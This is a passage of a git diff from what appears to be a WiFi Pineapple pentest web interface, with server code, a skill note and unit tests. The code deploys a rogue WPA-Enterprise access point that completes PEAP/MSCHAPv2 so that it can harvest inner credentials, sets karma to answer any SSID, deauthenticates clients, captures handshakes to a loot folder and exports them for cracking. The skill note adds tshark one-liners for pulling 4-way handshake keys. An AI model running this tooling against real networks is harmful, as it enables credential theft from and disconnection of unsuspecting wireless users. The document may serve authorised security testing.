(WPE-style wildcard). + """hostapd eap_user_file for PEAP/TTLS inner capture. - A phase-1-only `* MSCHAPV2` file cannot complete PEAP/TTLS, so clients - never send an inner identity or MSCHAPv2 response. + hostapd_get_eap_user() only wildcard-matches (identity == NULL) when + phase2 == 0, so a bare `* [2]` entry can NEVER satisfy the + tunneled phase-2 identity lookup -- clients see an instant inner + EAP-Failure right after the TLS tunnel comes up. Phase-2 entries must + carry a quoted identity; a quoted EMPTY prefix `""*` prefix-matches + any identity. Verified live on Pager firmware 24.10.1 + (wpad 2.12-devel karma): PEAP/MSCHAPv2 completes end-to-end. """ secret = _eap_secret(secret) method = (method or 'any').strip().lower() if method == 'gtc': - inner = 'GTC,TTLS-PAP,MD5' + inner = 'GTC,TTLS-PAP' elif method == 'mschapv2': inner = 'MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP' else: - inner = 'TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS-MSCHAPV2' + inner = ('MSCHAPV2,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,' + 'TTLS-MSCHAPV2') return ( '*\tPEAP,TTLS\n' - '*\t%s\t"%s"\t[2]\n' % (inner, secret) + '""*\t%s\t"%s"\t[2]\n' % (inner, secret) ) @@ -4171,17 +4207,21 @@ def _hostapd_failure_text(out, err): def _start_ent_hostapd(): - """Start hostapd, dropping keys this firmware does not understand.""" + """Start the standalone enterprise hostapd. + + This firmware's hostapd accepts `-f ` but silently ignores it + (fd 1 stays /dev/null) and its MSG_DEBUG/MSG_MSGDUMP stdout logging is + compiled out entirely, so no log channel can carry MSCHAPv2 + challenge/response hexdumps -- credential harvesting therefore relies + on recon.db tables fed by pineapd, not on ENT_LOG. We simply drop the + useless `-f` so the fallback path cannot lose it again. + """ last = (1, '', '') for _ in range(5): rc, out, err = device_run( - ['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, '-f', ENT_LOG, ENT_CONF], + ['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF], timeout=25) combined = '%s\n%s' % (err or '', out or '') - if rc != 0 and re.search(r'invalid option|unrecognized option|unknown option', combined, re.I): - rc, out, err = device_run( - ['/usr/sbin/hostapd', '-B', '-P', ENT_PIDFILE, ENT_CONF], timeout=25) - combined = '%s\n%s' % (err or '', out or '') last = (rc, out, err) if rc == 0: return rc, out, err @@ -4271,6 +4311,11 @@ def _deploy_enterprise(fields): # Tell the karma build which iface is the management (enterprise) AP and # make karma respond to any SSID (deny mode = allow by default). device_run(['uci', 'set', 'pineapd.@hostapd[0].mgmtiface=%s' % ENT_IFACE]) + # pineape_auth_pass=1 forwards the tunneled inner EAP to pineapd, which + # has no responder for a standalone AP: clients get an instant inner + # EAP-Failure right after the TLS handshake. With 0, our hostapd + # eap_server terminates inner MSCHAPv2/GTC/PAP itself (validated live). + device_run(['uci', 'set', 'pineapd.@hostapd[0].pineape_auth_pass=0']) device_run(['uci', 'set', 'pineapd.@ssid_filter[0].mode=deny']) device_run(['uci', 'set', 'pineapd.@mac_filter[0].mode=deny']) device_run(['uci', 'commit', 'pineapd']) @@ -4489,12 +4534,46 @@ def h_attacks_stop(ctx): if stopped: device_run(['uci', 'commit', 'wireless']) device_run(['wifi', 'reload']) + # Release the 5 GHz handshake-logging pointer taken at deploy time. + rc, out, err = device_run(['uci', 'get', 'pineapd.@hostapd[0].mgmtiface']) + if rc == 0 and out.strip() == 'wlan1wpa': + device_run(['uci', 'delete', 'pineapd.@hostapd[0].mgmtiface']) + device_run(['uci', 'commit', 'pineapd']) # Leave hop alone if a radio1 AP is still active. if not _radio1_ap_active(): _resume_hop() return 200, {'ok': True, 'stopped': stopped} +def _capture_state(pidfile, iface): + """Liveness of a monitor capture: (running, pid, stale). + + `stale` means the recorded capture died on us: the tcpdump process is + gone or the monitor iface was dropped mid-capture (e.g. a `wifi reload` + from an overlapping deploy). Stale state is cleaned up so callers see + 'stopped' instead of a zombie 'running'. + """ + try: + with open(pidfile) as f: + pid = int(f.read().strip()) + except (OSError, ValueError): + return False, None, False + if not os.path.exists('/proc/%d' % pid): + try: + os.unlink(pidfile) + except OSError: + pass + return False, pid, True + if not os.path.exists('/sys/class/net/%s' % iface): + device_run(['kill', str(pid)], timeout=10) + try: + os.unlink(pidfile) + except OSError: + pass + return False, pid, True + return True, pid, False + + def h_attacks_capture(ctx): body = ctx.body or {} action = body.get('action') or 'status' @@ -4503,14 +4582,10 @@ def h_attacks_capture(ctx): return 400, {'error': 'iface must be wlan0mon or wlan1mon'} pidfile = '/tmp/mk8_capture_%s.pid' % iface capdir = '/root/loot/pcap' + running, old, stale = _capture_state(pidfile, iface) if action == 'start': - try: - with open(pidfile) as f: - old = int(f.read().strip()) - if os.path.exists('/proc/%d' % old): - return 200, {'running': True, 'pid': old, 'iface': iface} - except (OSError, ValueError): - pass + if running: + return 200, {'running': True, 'pid': old, 'iface': iface} path = '%s/attack_%s_%d.cap' % (capdir, iface, int(time.time())) rc, out, err = device_run( ['sh', '-c', @@ -4525,26 +4600,16 @@ def h_attacks_capture(ctx): return 502, {'error': 'tcpdump failed to start', 'detail': (err or out)[-300:]} return 200, {'running': True, 'pid': pid, 'path': path, 'iface': iface} if action == 'stop': - try: - with open(pidfile) as f: - old = int(f.read().strip()) + if old is not None: device_run(['kill', str(old)], timeout=10) - try: - os.unlink(pidfile) - except OSError: - pass - return 200, {'running': False, 'stopped': old} - except (OSError, ValueError): - return 200, {'running': False, 'stopped': None} + try: + os.unlink(pidfile) + except OSError: + pass + return 200, {'running': False, 'stopped': old} # status - running = False - try: - with open(pidfile) as f: - old = int(f.read().strip()) - running = os.path.exists('/proc/%d' % old) - except (OSError, ValueError): - pass - return 200, {'running': running, 'iface': iface} + return 200, {'running': running, 'iface': iface, + 'stale': stale, 'pid': old} def h_attacks_export_hc22000(ctx): @@ -4599,7 +4664,7 @@ def h_attacks_deauth(ctx): inject = 'wlan1mon' if band == BAND_5G or band == BAND_6G else 'wlan0mon' if inject != 'wlan1mon': _pineap('INTERFACE', 'INJECT', inject) - rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, + rc, out, err = device_run([HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30) if rc != 0: return 502, {'error': 'deauth failed', 'detail': err or out} diff --git a/payload/user/remote_access/pager-webui/skills/wifi-deauth.md b/payload/user/remote_access/pager-webui/skills/wifi-deauth.md index 594b3a6..5b0ae0b 100644 --- a/payload/user/remote_access/pager-webui/skills/wifi-deauth.md +++ b/payload/user/remote_access/pager-webui/skills/wifi-deauth.md @@ -89,7 +89,7 @@ kill $TDPID Analysis one-liners: ```sh tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix -tshark -r cap -Y eapol -c 10 # 4-way keys +tshark -r cap -Y "llc && eth.type == 0x888e" -c 10 # 4-way keys (this firmware's tcpdump/tshark `eapol` filter matches 0 frames — use llc/ether-proto) tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored) tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits ``` diff --git a/tests/test_attacks.py b/tests/test_attacks.py index aca8512..de9a1d2 100644 --- a/tests/test_attacks.py +++ b/tests/test_attacks.py @@ -94,6 +94,13 @@ class AttacksDeployTest(unittest.TestCase): server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log') server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json') server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem') + # The fake device_run cannot execute real openssl; pre-seed the cert + # files so _ensure_ent_certs() short-circuits to True. + os.makedirs(server.ENT_DIR, exist_ok=True) + for p in (server.ENT_CA_CERT, server.ENT_SERVER_CERT, + server.ENT_SERVER_KEY, server.ENT_DH_FILE): + with open(p, 'w') as f: + f.write('stub\n') self.old_ent_running = server._ent_running self.old_ent_state = server._ent_state_loaded server._ent_running = lambda: True @@ -215,6 +222,7 @@ class AttacksDeployTest(unittest.TestCase): self.assertTrue(any(c[:4] == ['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE] for c in cmds)) self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent') + self.assertEqual(self.f.state['pineapd.@hostapd[0].pineape_auth_pass'], '0') self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0') with open(server.ENT_CONF) as f: conf = f.read() @@ -231,6 +239,22 @@ class AttacksDeployTest(unittest.TestCase): users = f.read() self.assertIn('PEAP,TTLS', users) self.assertIn('[2]', users) + # Phase-2 entries must use a quoted empty prefix: hostapd never + # wildcard-matches a bare `*` identity for phase2 lookups. + self.assertIn('""*', users) + self.assertNotRegex(users, r'(?m)^\*\t.*\[2\]$') + + def test_eap_users_text_grammar_matches_pineapple_wpad(self): + text = server._eap_users_text('secret123', 'any') + lines = text.splitlines() + self.assertEqual(lines[0], '*\tPEAP,TTLS') + self.assertTrue(lines[1].startswith('""*\t')) + self.assertIn('"secret123"', lines[1]) + self.assertTrue(lines[1].endswith('[2]')) + # A bare-wildcard phase-2 line is the firmware-broken grammar. + for line in lines: + if line.endswith('[2]'): + self.assertFalse(line.startswith('*\t')) def test_deploy_enterprise_rejects_non_5g_channel(self): status, _ = server.h_attacks_deploy(ctx({ @@ -241,11 +265,15 @@ class AttacksDeployTest(unittest.TestCase): def test_stop_enterprise_tears_down_engine(self): server._ent_running = lambda: True server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36} + self.f.state['pineapd.@hostapd[0].pineape_auth_pass'] = '0' status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'})) self.assertEqual(status, 200) self.assertIn('wlan1ent', payload['stopped']) cmds = [r[0] for r in self.f.runs] self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds) + # Deploy disabled PineAPE auth passthrough; stop must restore it. + self.assertEqual(self.f.state['pineapd.@hostapd[0].pineape_auth_pass'], + '1') def test_deploy_enterprise_writes_passphrase_and_hidden(self): status, payload = server.h_attacks_deploy(ctx({ @@ -360,7 +388,7 @@ class AttacksDeauthTest(unittest.TestCase): self.assertEqual(payload['inject'], 'wlan0mon') calls = [r[0] for r in self.f.runs] self.assertIn(['_pineap', 'INTERFACE', 'INJECT', 'wlan0mon'], calls) - self.assertIn(['/usr/bin/hak5cmd', 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', + self.assertIn(['/usr/bin/hak5cmd', 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', '11:22:33:44:55:66', '6'], calls) def test_deauth_5g_keeps_wlan1mon_inject(self): @@ -376,6 +404,20 @@ class AttacksDeauthTest(unittest.TestCase): self.assertEqual(status, 400) +class AttackFilterModeTest(unittest.TestCase): + def test_allow_all_ssids_uses_full_network_filter_app_name(self): + calls = [] + old_run = server.device_run + server.device_run = lambda args, timeout=20, input_data=None: ( + calls.append(list(args)) or (0, '', '')) + try: + self.assertTrue(server._allow_all_ssids()) + finally: + server.device_run = old_run + self.assertEqual(calls, [[server.HAK5CMD, + 'PINEAPPLE_NETWORK_FILTER_MODE', 'deny']]) + + class AttacksExportTest(unittest.TestCase): def setUp(self): self.f = FakeUciDevice() @@ -394,11 +436,13 @@ class AttacksExportTest(unittest.TestCase): server.device_run = fake_run server.daemon_sock_call = lambda method, path, body=None, timeout=10: (200, {}) self._real_exists = os.path.exists + self._real_getsize = os.path.getsize server.os.path.exists = lambda p: p.endswith('.hc22000') or p.startswith('/sys') server.os.path.getsize = lambda p: 12 def tearDown(self): server.os.path.exists = self._real_exists + server.os.path.getsize = self._real_getsize try: os.unlink('/tmp/mk8test.hc22000') except OSError: @@ -455,5 +499,108 @@ class AttacksStatusTest(unittest.TestCase): self.assertTrue(payload['enterprise']['pineape']['enabled']) +class AttacksCaptureTest(unittest.TestCase): + def setUp(self): + self.f = FakeUciDevice() + server.device_run = self.f.device_run + server.daemon_sock_call = lambda *a, **k: (200, {}) + server._uci_wifi_iface = self.f.uci_iface + server._uci_section = self.f.uci_iface + server._verify_iface = lambda name, timeout=20: self.f._verify + self.pidfile = tempfile.mktemp(prefix='mk8-cap-test-') + self.real_exists = os.path.exists + + def tearDown(self): + os.path.exists = self.real_exists + try: + os.unlink(self.pidfile) + except OSError: + pass + + def test_status_reports_dead_pid_as_stopped_stale(self): + with open(self.pidfile, 'w') as f: + f.write('999999\n') + running, pid, stale = server._capture_state(self.pidfile, 'wlan0mon') + self.assertFalse(running) + self.assertTrue(stale) + self.assertFalse(os.path.exists(self.pidfile), + 'stale pidfile must be cleaned up') + + def test_status_kills_capture_when_iface_dropped(self): + with open(self.pidfile, 'w') as f: + f.write('4242\n') + real_exists = os.path.exists + killed = [] + old_run = server.device_run + + def fake_run(args, timeout=20, input_data=None): + if args[0] == 'kill': + killed.append(args[1]) + return (0, '', '') + + server.device_run = fake_run + try: + os.path.exists = lambda p: p.startswith('/proc/4242') + running, pid, stale = server._capture_state( + self.pidfile, 'wlan0mon') + finally: + os.path.exists = real_exists + server.device_run = old_run + self.assertFalse(running) + self.assertTrue(stale) + self.assertEqual(killed, ['4242']) + + def test_status_live_capture_running(self): + with open(self.pidfile, 'w') as f: + f.write(str(os.getpid())) + real_exists = os.path.exists + try: + # /proc/ exists for our own process; iface path faked up. + os.path.exists = lambda p: ( + not p.startswith('/sys/class/net') or p.endswith('wlan0mon')) + running, pid, stale = server._capture_state( + self.pidfile, 'wlan0mon') + finally: + os.path.exists = real_exists + self.assertTrue(running) + self.assertFalse(stale) + + def test_deploy_retries_radio0_set_ap_when_iface_never_verifies(self): + calls = {'set_ap': 0} + + def sock(method, path, body=None, timeout=10): + if path == '/api/settings/wifi/set_ap': + calls['set_ap'] += 1 + return (200, {}) + + server.daemon_sock_call = sock + self.f._verify = False + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'open', 'ssid': 'Guest', 'channel': 1})) + self.assertEqual(status, 200) + self.assertFalse(payload['verified']) + self.assertEqual(calls['set_ap'], 2, + 'radio0 deploy must retry set_ap once') + + def test_deploy_5g_does_not_retry_set_ap(self): + calls = {'set_ap': 0} + + def sock(method, path, body=None, timeout=10): + if path == '/api/settings/wifi/set_ap': + calls['set_ap'] += 1 + return (200, {}) + + server.daemon_sock_call = sock + self.f._verify = False + status, payload = server.h_attacks_deploy(ctx({ + 'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1', + 'enctype': 'psk2', 'channel': 36})) + self.assertEqual(status, 200) + self.assertEqual(calls['set_ap'], 0, + '5 GHz path writes UCI directly, no set_ap') + self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], + 'wlan1wpa') + + if __name__ == '__main__': unittest.main() diff --git a/tests/test_pineap_bands.py b/tests/test_pineap_bands.py index 8a49f67..211f202 100644 --- a/tests/test_pineap_bands.py +++ b/tests/test_pineap_bands.py @@ -345,20 +345,24 @@ class GetApReconcileTest(unittest.TestCase): 404, {'error': 'not found'}) server.device_run = lambda args, timeout=20, input_data=None: ( self.runs.append(list(args)) or (0, '', '')) + self._real_exists = os.path.exists + + def tearDown(self): + os.path.exists = self._real_exists def test_missing_netdev_triggers_wifi_reload(self): - server.os.path.exists = lambda p: False + os.path.exists = lambda p: False server.h_pineap_wifi_get_ap(ctx()) self.assertIn(['wifi', 'reload'], self.runs) def test_present_netdev_skips_reload(self): - server.os.path.exists = lambda p: True + os.path.exists = lambda p: True server.h_pineap_wifi_get_ap(ctx()) self.assertNotIn(['wifi', 'reload'], self.runs) def test_disabled_section_skips_reload(self): self.uci['wlan1wpa']['disabled'] = '1' - server.os.path.exists = lambda p: False + os.path.exists = lambda p: False server.h_pineap_wifi_get_ap(ctx()) self.assertNotIn(['wifi', 'reload'], self.runs) diff --git a/tests/test_pineap_clients.py b/tests/test_pineap_clients.py index d9579ed..6309f8a 100644 --- a/tests/test_pineap_clients.py +++ b/tests/test_pineap_clients.py @@ -55,7 +55,7 @@ class ClientsTest(unittest.TestCase): server.h_client_kick(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})()) self.assertIn([server.HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', '00:11:22:33:44:55'], calls) # The immediate deauth must use the full bssid/target/channel form. - self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', + self.assertTrue(any(c[:4] == [server.HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', '00:11:22:33:44:55'] and c[4] == '6' for c in calls)) def test_kick_not_associated_still_filters(self): @@ -86,7 +86,7 @@ class ClientsTest(unittest.TestCase): status, payload = server.h_deauth_client(type('C', (), {'args': (), 'body': {'mac': '00:11:22:33:44:55'}})()) self.assertEqual(status, 200) # 5 GHz client -> wlan1mon inject, no _pineap pin needed. - self.assertTrue(any(c[:4] == [server.HAK5CMD, 'DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', + self.assertTrue(any(c[:4] == [server.HAK5CMD, 'PINEAPPLE_DEAUTH_CLIENT', 'AA:BB:CC:DD:EE:FF', '00:11:22:33:44:55'] and c[4] == '149' for c in calls)) def test_deauth_client_not_associated_502(self):